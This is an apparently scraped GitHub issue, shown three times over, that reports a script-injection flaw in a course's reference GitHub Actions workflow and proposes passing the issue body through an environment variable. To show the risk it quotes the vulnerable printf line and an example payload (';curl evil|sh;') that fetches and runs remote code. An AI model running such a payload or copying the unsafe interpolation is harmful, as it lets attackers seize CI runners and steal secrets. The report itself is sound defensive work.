The reference workflow writes the issue body via printf '%s' "${{ github.event.issue.body }}" > issue.md inside a run: block. Interpolating ${{ github.event.issue.body }} directly into shell is the textbook GitHub Actions script-injection vulnerability: ${{ }} is expanded into the script text before the shell runs, so a crafted issue body (e.g. ";curl evil|sh;") executes on the runner before the agent is even invoked. The step carries AGENT_API_KEY and the job holds contents/pull-requests write tokens, and the file's own security notes cover prompt injection but not this shell-injection in its own file.
Evidence
modules/25-autonomous-agents/lab/agent-job.yml (~line 60): printf '%s' "${{ github.event.issue.body }}" > issue.md inside run: | (the step already has an env: block ~lines 51-56). Security notes (~lines 72-75) flag issue.body as untrusted only for prompt injection.
Why it matters
A security-centric module that teaches least privilege and gates ships script-injection-vulnerable reference code that learners may copy into real workflows — against the correctness/honesty promise.
Proposed change
Pass the body via an environment variable (GitHub's documented mitigation):
Add to the step's existing env: block: BODY: ${{ github.event.issue.body }}.
Change the command to printf '%s' "$BODY" > issue.md so the shell never re-parses the value.
Add a security note distinguishing Actions expression-injection in run: steps from prompt injection.
This is portable (the file is already declared GitHub Actions flavor with Forgejo/Gitea noted as identical YAML).
Acceptance criteria
The issue body is passed via env: and read as $BODY, never interpolated into the run: script text.
A note explains Actions expression-injection vs prompt injection.
Affected files
modules/25-autonomous-agents/lab/agent-job.yml
References
Source finding F38 (realVotes 3/3).
Filed from an adversarial multi-agent course review (217 raw findings → 54 adversarially-verified survivors). Scoped for manual review; intentionally not auto-assigned to an agent.
## Problem
The reference workflow writes the issue body via `printf '%s' "${{ github.event.issue.body }}" > issue.md` inside a `run:` block. Interpolating `${{ github.event.issue.body }}` directly into shell is the textbook GitHub Actions script-injection vulnerability: `${{ }}` is expanded into the script text before the shell runs, so a crafted issue body (e.g. `";curl evil|sh;"`) executes on the runner before the agent is even invoked. The step carries `AGENT_API_KEY` and the job holds `contents`/`pull-requests` write tokens, and the file's own security notes cover prompt injection but not this shell-injection in its own file.
## Evidence
`modules/25-autonomous-agents/lab/agent-job.yml` (~line 60): `printf '%s' "${{ github.event.issue.body }}" > issue.md` inside `run: |` (the step already has an `env:` block ~lines 51-56). Security notes (~lines 72-75) flag `issue.body` as untrusted only for prompt injection.
## Why it matters
A security-centric module that teaches least privilege and gates ships script-injection-vulnerable reference code that learners may copy into real workflows — against the correctness/honesty promise.
## Proposed change
Pass the body via an environment variable (GitHub's documented mitigation):
1. Add to the step's existing `env:` block: `BODY: ${{ github.event.issue.body }}`.
2. Change the command to `printf '%s' "$BODY" > issue.md` so the shell never re-parses the value.
3. Add a security note distinguishing Actions expression-injection in `run:` steps from prompt injection.
This is portable (the file is already declared GitHub Actions flavor with Forgejo/Gitea noted as identical YAML).
## Acceptance criteria
- [ ] The issue body is passed via `env:` and read as `$BODY`, never interpolated into the `run:` script text.
- [ ] A note explains Actions expression-injection vs prompt injection.
## Affected files
- `modules/25-autonomous-agents/lab/agent-job.yml`
## References
Source finding F38 (realVotes 3/3).
---
*Filed from an adversarial multi-agent course review (217 raw findings → 54 adversarially-verified survivors). Scoped for manual review; intentionally not auto-assigned to an agent.*
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Problem
The reference workflow writes the issue body via
printf '%s' "${{ github.event.issue.body }}" > issue.mdinside arun:block. Interpolating${{ github.event.issue.body }}directly into shell is the textbook GitHub Actions script-injection vulnerability:${{ }}is expanded into the script text before the shell runs, so a crafted issue body (e.g.";curl evil|sh;") executes on the runner before the agent is even invoked. The step carriesAGENT_API_KEYand the job holdscontents/pull-requestswrite tokens, and the file's own security notes cover prompt injection but not this shell-injection in its own file.Evidence
modules/25-autonomous-agents/lab/agent-job.yml(~line 60):printf '%s' "${{ github.event.issue.body }}" > issue.mdinsiderun: |(the step already has anenv:block ~lines 51-56). Security notes (~lines 72-75) flagissue.bodyas untrusted only for prompt injection.Why it matters
A security-centric module that teaches least privilege and gates ships script-injection-vulnerable reference code that learners may copy into real workflows — against the correctness/honesty promise.
Proposed change
Pass the body via an environment variable (GitHub's documented mitigation):
env:block:BODY: ${{ github.event.issue.body }}.printf '%s' "$BODY" > issue.mdso the shell never re-parses the value.run:steps from prompt injection.This is portable (the file is already declared GitHub Actions flavor with Forgejo/Gitea noted as identical YAML).
Acceptance criteria
env:and read as$BODY, never interpolated into therun:script text.Affected files
modules/25-autonomous-agents/lab/agent-job.ymlReferences
Source finding F38 (realVotes 3/3).
Filed from an adversarial multi-agent course review (217 raw findings → 54 adversarially-verified survivors). Scoped for manual review; intentionally not auto-assigned to an agent.